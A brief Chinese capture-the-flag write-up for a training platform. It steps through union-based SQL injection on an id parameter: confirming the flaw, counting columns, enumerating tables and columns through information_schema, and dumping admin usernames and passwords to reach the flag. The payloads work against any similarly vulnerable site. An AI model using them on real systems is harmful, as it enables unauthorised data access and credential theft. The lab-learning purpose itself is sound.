@封神台 网址 https://hack.zkaq.cn
题目
一、寻找注入点
?id=1 and 1=1 #回显正常
?id=1 and 1=2 #回显异常
二、查看字段数
?id=1 order by 1,2 #回显正常
?id=1 order by 3 #回显异常
三、判断回显点
得到回显位置为2 下一步利用联合查询寻找回显点,构造
?id=1 and 1=2 union select 1,2
四、寻找相关内容
1.查看版本信息
?id=1 and 1=2 union select 1,version()
2.爆数据库名
?id=1 and 1=2 union select 1,database()
3.爆表名
?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
4.爆字段名
猜测所要的信息在admin表中(admin一般代表用户)
?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'
5.获取字段值
?id=1 and 1=2 union select 1,group_concat(username,password) from admin
或者用 用户admin,接着查询password密码
?id=1 and 1=2 union select 1,password from admin
最后成功拿取flag hellohack
总结
本题考查SQL注入的联合查询(union注入)的用法
了解更多SQL注入 点击这里 SQL详解